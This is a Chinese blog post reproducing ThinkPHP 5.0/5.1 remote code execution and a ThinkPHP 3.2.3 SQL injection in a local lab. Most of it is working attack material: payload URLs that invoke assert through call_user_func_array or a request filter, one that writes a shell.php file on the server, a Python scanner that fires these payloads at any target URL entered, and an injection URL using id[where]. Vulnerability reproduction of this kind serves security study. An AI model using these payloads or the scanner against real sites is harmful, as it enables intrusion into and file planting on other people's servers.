thinkphp5.0&5.1命令执行 和 thinkphp3.2.3sql注入

Thinkphp5.0.x环境搭建

直接将源码解压就行，访问public目录即可，例如http://127.0.0.1/cms/thinkphp/public

 

 

 

 

 

 

 

Thinkphp5.0.x远程代码执行

payload：http://127.0.0.1/cms/thinkphp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

 

 

 

Thinkphp5.1.x搭建方法和5.0.x一样

 

Payload：

http://127.0.0.1/cms/tp5.1/public/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

 

http://127.0.0.1/cms/tp5.1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

 

http://127.0.0.1/cms/tp5.1/public/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

 

 

Python3 poc：

 1 #coding:utf-8
 2 import requests
 3 headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}
 4 def poc(target):
 5     try:
 6         poc = [r"/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert",
 7                r"/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()",
 8                r"/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>",
 9                r"/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()"]
10         for i in poc:
11             url = target + str(i)
12             html = requests.get(url,headers=headers)
13             if  "<title>phpinfo()</title>" in html.text:
14                 print("目标存在漏洞："+url)
15     except:
16         pass
17 if __name__ == "__main__":
18     target = input("请输入目标url：")
19     poc(target)

 

 

 

 

 

Thinkphp3.2.3环境搭建

修改Application\Common\Conf\config.php配置文件，添加数据库配置信息。

这里不知道为什么声明编码的时候会出错，注释掉就正常了。

 

<?php

return array(

//'配置项'=>'配置值'

'DB_TYPE' => 'mysql',

'DB_HOST' => 'localhost',

'DB_NAME' => 'tp',

'DB_USER' => 'root',

'DB_PWD' => 'root',

'DB_PORT' => '3306',

'DB_FIELDS_CACHE' => true,

//'DB_CHARSET' => 'utf-8',

''

);

?>

 

 

然后在Application\Home\Controller\IndexController.class.php 添加以下代码:

public function test()

    {

       $id = i('id');

       $res = M('user')->find($id);

       //$res = M('user')->delete($id);

       //$res = M('user')->select($id);

}

 

注入点（代码能力有限，暂时不能对漏洞原理进行分析）：

http://127.0.0.1/cms/thinkphp3.2.1/index.php?m=Home&c=Index&a=test&id[where]=1

 

posted @ 2020-02-10 21:09  BuFFERer  阅读(682)  评论(0)  编辑  收藏  举报